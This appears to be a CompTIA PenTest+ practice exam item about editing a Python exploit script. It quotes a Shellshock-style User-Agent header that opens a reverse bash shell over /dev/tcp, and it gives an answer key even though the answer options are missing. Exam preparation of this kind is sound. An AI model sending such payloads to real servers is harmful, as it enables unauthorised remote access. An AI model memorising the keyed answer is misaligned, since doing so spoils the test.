CompTIA PenTest+ (PT1-002) — Question 43

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploits = {`User-Agent`: `() { ignored;};/bin/bash `"i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/ html,application/xhtml+xml,application/xml`}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

Answer options

Correct answer: A

Explanation

The correct answer is A because it executes commands that directly identify the user context using 'id;whoami'. The other options either do not provide user context information or execute irrelevant commands that do not help in identifying the user context.